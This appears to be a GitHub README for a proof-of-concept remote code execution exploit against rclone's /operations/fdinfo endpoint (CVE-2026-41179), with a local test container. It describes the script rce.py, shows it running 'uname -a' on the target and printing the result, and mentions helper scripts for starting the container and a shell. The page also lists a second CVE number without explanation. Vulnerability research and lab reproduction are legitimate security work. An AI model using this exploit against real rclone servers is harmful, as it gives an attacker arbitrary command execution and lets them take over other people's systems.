UpdatedAug 3, 2026

CVE-2026-41179 — Updated!

RCE in rclone

CVE-2026-47668

Test environment for rclone RCE

REF1: https://github.com/rclone/rclone/security/advisories/GHSA-jfwf-28xr-xw6q
REF2: https://github.com/pssec-io/CVE-2026-41179

`rce.py`

RCE on /operations/fdinfo, redirects output to stderr for convenience

./rce.py uname -a
exit status 1
Return code: OK
OUTPUT
Linux cve-2026-41179 6.12.95+deb13-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.12.95-1 (2026-07-04) x86_64 Linux

run.sh / shell.sh: Run local container from docker images